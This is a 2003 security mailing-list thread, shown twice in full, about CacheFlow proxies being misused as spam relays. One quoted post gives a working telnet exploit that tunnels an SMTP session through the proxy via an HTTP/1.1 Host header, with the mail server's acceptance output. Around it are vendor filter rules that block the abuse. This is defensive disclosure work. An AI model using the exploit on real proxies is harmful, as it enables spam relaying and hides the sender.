Thanks for the info. That does prevent the CONNECT abuse, but not the
POST abuse, which can be used almost in the same way (although a bit
more difficult) to use a Cachelfow to hide one's tracks when spamming.
Greets,
_Alain_
On Wed, Sep 10, 2003 at 03:22:12PM -0000, Tim Kennedy wrote:
> In-Reply-To: <Pine.LNX.4.44.0210160747300.20004-100000 (at) ultra1.hugo.vanderkooij (dot) org [email concealed]>
>
>
>
> Related to: http://www.securityfocus.com/archive/75/295545/2003-09-
> 07/2003-09-13/2
>
> I talked with Blue Coat about this this morning, and it's a pretty
> easy fix.
>
> Cacheflow publisched information relating to a vulnerability in the
> CONNECT method of the CacheOS.
> Here's their document(as html):
> http://216.239.39.104/search?
> q=cache:KTdTB76TgN4J:www.cacheflow.com/files/solutions/solution_http_con
ne
> ct.pdf+&hl=en&ie=UTF-8
>
>
> The document says that CacheFlow offers two solutions for the problem:
>
> CacheOS 4.0.x and above:
>
> cacheflow#conf t
> cacheflow#(config)services
> cacheflow#(config services)http
> cacheflow#(config services http)attribute connect ?
> enable Do NOT block CONNECT requests
> disable Do block CONNECT requests
>
> **This is the method I used to disable connect methods.
>
>
> For CacheOS 3.1.x and above, the recommend an inline-filter-list entry:
> cacheflow#conf t
> cacheflow#(config)inline filter-list local ccc
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
> ccc
>
> CacheFlow specifically says, in their PDF, that the first filter regex
> will explicitly allo HTTP and HTTPS traffic, and that the second line
> will ***BLOCK TRAFFIC TO ALL OTHER PORTS***
>
>
> This is functionaly incorrect.
>
>
> I'm running CacheOS Version: SA 4.1.10016.
> On a CacheFlow 7XX series proxy.
>
>
> This method, as described in the PDF, did in fact block the CONNECT
> requests from being processed, and returned a bad method error.
>
> Disabling the connect method didn't fix the problem we had with spammers
> relaying through our cacheflow. It turns out that unlike SQUID, which is
> set by default to ignore HTTP/1.1 HOST headers, the CacheFlow doesn't.
>
> ------------------------------------------------------------------------
--
> telnet ip.or.hostname.of.cacehflow 80
> GET / HTTP/1.1
> HOST: mailserver.victim.com:25
> HELO .
> mail from: spammer (at) alter (dot) net [email concealed]
> rcpt to: target (at) unsuspecting (dot) com [email concealed]
> DATA
> Subject: Look Ma! I'm an open relay
> HI, you've been spammed through an open proxy, because of a bug in the
> OS code. Have a Great Day!
> -Spammer
> .
>
> 220 mailserver.victim.com ESMTP Sendmail 8.12.9/8.12.9; Wed, 10 Sep 2003
> 11:15:31 -0400
> 500 5.5.1 Command unrecognized: "GET / HTTP/1.0"
> 500 5.5.1 Command unrecognized: "HOST: memnoch.sugarat.net:25"
> 250 mailserver.victim.com Hello CacheFlowServer@[xxx.x.x.xx], pleased to
> meet you
> 250 2.1.0 spammer (at) alter.net. (dot) . [email concealed] Sender ok
> 250 2.1.5 target (at) unsuspecting.com. (dot) . [email concealed] Recipient ok
> 354 Enter mail, end with "." on a line by itself
> 250 2.0.0 h8AFFVfo011729 Message accepted for delivery
> 500 5.5.1 Command unrecognized: "Cache-Control: max-stale=0"
> 500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
> 500 5.5.1 Command unrecognized: "Client-ip: xx.xx.x.xxx"
> 500 5.5.1 Command unrecognized: ""
> ^]
> telnet> close
> Connection closed.
>
> ------------------------------------------------------------------------
--
>
> Once you do this, you'll see the entire smtp session sent as a GET to the
> mail server, complete with carriage returns, which the mail server will
> receive in the appropriate order, and the mail will be sent.
>
> After the HOST header, the CacheFlow doesn't issue it's request until
> it sees two sequential carriage returns. So it will send the whole email
> session in the GET as long as it's before the \r\r.
>
>
> On CacheOS 4, the only way to get around this is to use the CacheOS 3
> inline filter solution to the CONNECT bug.
>
> But you need to expand it a bit:
>
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
>
> DOES NOT limit ports, when the service is HTTP, as the document says.
> TO Actually limit connections to services though HTTP, you need to
> add the entries prefixed by 'http', as well as 'https'.
> (This is what Jim at Blue Coat told me, and it worked)
>
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
> http://.*:(443|80) service=yes
> http://.*:[0-9]+/ service=no
>
> ------------------------------------------------------------------------
--
> cacheflow#conf t
> cacheflow#(config)inline filter-list local ccc
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
> ccc
> ------------------------------------------------------------------------
--
>
> That will now give a BAD METHOD return on GET's with an HTTP/1.1 HOST
> header.
>
> This may already be well known, but I'm not really a cacheflow guy, and I
> couldn't find ANYTHING about it on google, altavista, or any of the
> security sites (security focus, bugtraq, security tracker, etc.)
>
> Fortunatly for me, my co-worker Curly is as ingenious as any spammer out
> there.
>
>
> -Charlie "Curly" Benatti & Tim Kennedy
>
>
>
> >On Wed, 16 Oct 2002, Alain Fauconnet wrote:
> >
> >> Hugo van der Kooij <hvdkooij (at) vanderkooij (dot) org [email concealed]> wrote:
> >>
> >> I'm stuck. Anything you have found?
> >
> >Unfortunatly not at the monment. I am planning to put the machine up at
> >times when someone can babysit the segment to get a proper trace for
> >analyses.
> >
> >After which we intend to raise hell with CacheFlow.
>
> ------------------------------------------------------------------------
---
> Attend Black Hat Briefings & Training Federal, September 29-30 (Training),
> October 1-2 (Briefings) in Tysons Corner, VA; the world's premier
> technical IT security event. Modeled after the famous Black Hat event in
> Las Vegas! 6 tracks, 12 training sessions, top speakers and sponsors.
> Symantec is the Diamond sponsor. Early-bird registration ends September 6.Visit us: www.blackhat.com
> ------------------------------------------------------------------------
----
--
Alain Fauconnet
IT Security Specialist & CISO -- ITServ
Asian Institute of Technology
------------------------------------------------------------------------
---
Attend Black Hat Briefings & Training Federal, September 29-30 (Training),
October 1-2 (Briefings) in Tysons Corner, VA; the world's premier
technical IT security event. Modeled after the famous Black Hat event in
Las Vegas! 6 tracks, 12 training sessions, top speakers and sponsors.
Symantec is the Diamond sponsor. Early-bird registration ends September 6.Visit us: www.blackhat.com
------------------------------------------------------------------------
----
Thanks for the info. That does prevent the CONNECT abuse, but not the
POST abuse, which can be used almost in the same way (although a bit
more difficult) to use a Cachelfow to hide one's tracks when spamming.
Greets,
_Alain_
On Wed, Sep 10, 2003 at 03:22:12PM -0000, Tim Kennedy wrote:
> In-Reply-To: <Pine.LNX.4.44.0210160747300.20004-100000 (at) ultra1.hugo.vanderkooij (dot) org [email concealed]>
>
>
>
> Related to: http://www.securityfocus.com/archive/75/295545/2003-09-
> 07/2003-09-13/2
>
> I talked with Blue Coat about this this morning, and it's a pretty
> easy fix.
>
> Cacheflow publisched information relating to a vulnerability in the
> CONNECT method of the CacheOS.
> Here's their document(as html):
> http://216.239.39.104/search?
> q=cache:KTdTB76TgN4J:www.cacheflow.com/files/solutions/solution_http_con
ne
> ct.pdf+&hl=en&ie=UTF-8
>
>
> The document says that CacheFlow offers two solutions for the problem:
>
> CacheOS 4.0.x and above:
>
> cacheflow#conf t
> cacheflow#(config)services
> cacheflow#(config services)http
> cacheflow#(config services http)attribute connect ?
> enable Do NOT block CONNECT requests
> disable Do block CONNECT requests
>
> **This is the method I used to disable connect methods.
>
>
> For CacheOS 3.1.x and above, the recommend an inline-filter-list entry:
> cacheflow#conf t
> cacheflow#(config)inline filter-list local ccc
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
> ccc
>
> CacheFlow specifically says, in their PDF, that the first filter regex
> will explicitly allo HTTP and HTTPS traffic, and that the second line
> will ***BLOCK TRAFFIC TO ALL OTHER PORTS***
>
>
> This is functionaly incorrect.
>
>
> I'm running CacheOS Version: SA 4.1.10016.
> On a CacheFlow 7XX series proxy.
>
>
> This method, as described in the PDF, did in fact block the CONNECT
> requests from being processed, and returned a bad method error.
>
> Disabling the connect method didn't fix the problem we had with spammers
> relaying through our cacheflow. It turns out that unlike SQUID, which is
> set by default to ignore HTTP/1.1 HOST headers, the CacheFlow doesn't.
>
> ------------------------------------------------------------------------
--
> telnet ip.or.hostname.of.cacehflow 80
> GET / HTTP/1.1
> HOST: mailserver.victim.com:25
> HELO .
> mail from: spammer (at) alter (dot) net [email concealed]
> rcpt to: target (at) unsuspecting (dot) com [email concealed]
> DATA
> Subject: Look Ma! I'm an open relay
> HI, you've been spammed through an open proxy, because of a bug in the
> OS code. Have a Great Day!
> -Spammer
> .
>
> 220 mailserver.victim.com ESMTP Sendmail 8.12.9/8.12.9; Wed, 10 Sep 2003
> 11:15:31 -0400
> 500 5.5.1 Command unrecognized: "GET / HTTP/1.0"
> 500 5.5.1 Command unrecognized: "HOST: memnoch.sugarat.net:25"
> 250 mailserver.victim.com Hello CacheFlowServer@[xxx.x.x.xx], pleased to
> meet you
> 250 2.1.0 spammer (at) alter.net. (dot) . [email concealed] Sender ok
> 250 2.1.5 target (at) unsuspecting.com. (dot) . [email concealed] Recipient ok
> 354 Enter mail, end with "." on a line by itself
> 250 2.0.0 h8AFFVfo011729 Message accepted for delivery
> 500 5.5.1 Command unrecognized: "Cache-Control: max-stale=0"
> 500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
> 500 5.5.1 Command unrecognized: "Client-ip: xx.xx.x.xxx"
> 500 5.5.1 Command unrecognized: ""
> ^]
> telnet> close
> Connection closed.
>
> ------------------------------------------------------------------------
--
>
> Once you do this, you'll see the entire smtp session sent as a GET to the
> mail server, complete with carriage returns, which the mail server will
> receive in the appropriate order, and the mail will be sent.
>
> After the HOST header, the CacheFlow doesn't issue it's request until
> it sees two sequential carriage returns. So it will send the whole email
> session in the GET as long as it's before the \r\r.
>
>
> On CacheOS 4, the only way to get around this is to use the CacheOS 3
> inline filter solution to the CONNECT bug.
>
> But you need to expand it a bit:
>
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
>
> DOES NOT limit ports, when the service is HTTP, as the document says.
> TO Actually limit connections to services though HTTP, you need to
> add the entries prefixed by 'http', as well as 'https'.
> (This is what Jim at Blue Coat told me, and it worked)
>
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
> http://.*:(443|80) service=yes
> http://.*:[0-9]+/ service=no
>
> ------------------------------------------------------------------------
--
> cacheflow#conf t
> cacheflow#(config)inline filter-list local ccc
> https://.*:(443|80) service=yes
> https://.*:[0-9]+/ service=no
> ccc
> ------------------------------------------------------------------------
--
>
> That will now give a BAD METHOD return on GET's with an HTTP/1.1 HOST
> header.
>
> This may already be well known, but I'm not really a cacheflow guy, and I
> couldn't find ANYTHING about it on google, altavista, or any of the
> security sites (security focus, bugtraq, security tracker, etc.)
>
> Fortunatly for me, my co-worker Curly is as ingenious as any spammer out
> there.
>
>
> -Charlie "Curly" Benatti & Tim Kennedy
>
>
>
> >On Wed, 16 Oct 2002, Alain Fauconnet wrote:
> >
> >> Hugo van der Kooij <hvdkooij (at) vanderkooij (dot) org [email concealed]> wrote:
> >>
> >> I'm stuck. Anything you have found?
> >
> >Unfortunatly not at the monment. I am planning to put the machine up at
> >times when someone can babysit the segment to get a proper trace for
> >analyses.
> >
> >After which we intend to raise hell with CacheFlow.
>
> ------------------------------------------------------------------------
---
> Attend Black Hat Briefings & Training Federal, September 29-30 (Training),
> October 1-2 (Briefings) in Tysons Corner, VA; the world's premier
> technical IT security event. Modeled after the famous Black Hat event in
> Las Vegas! 6 tracks, 12 training sessions, top speakers and sponsors.
> Symantec is the Diamond sponsor. Early-bird registration ends September 6.Visit us: www.blackhat.com
> ------------------------------------------------------------------------
----
--
Alain Fauconnet
IT Security Specialist & CISO -- ITServ
Asian Institute of Technology
------------------------------------------------------------------------
---
Attend Black Hat Briefings & Training Federal, September 29-30 (Training),
October 1-2 (Briefings) in Tysons Corner, VA; the world's premier
technical IT security event. Modeled after the famous Black Hat event in
Las Vegas! 6 tracks, 12 training sessions, top speakers and sponsors.
Symantec is the Diamond sponsor. Early-bird registration ends September 6.Visit us: www.blackhat.com
------------------------------------------------------------------------
----
[ reply ]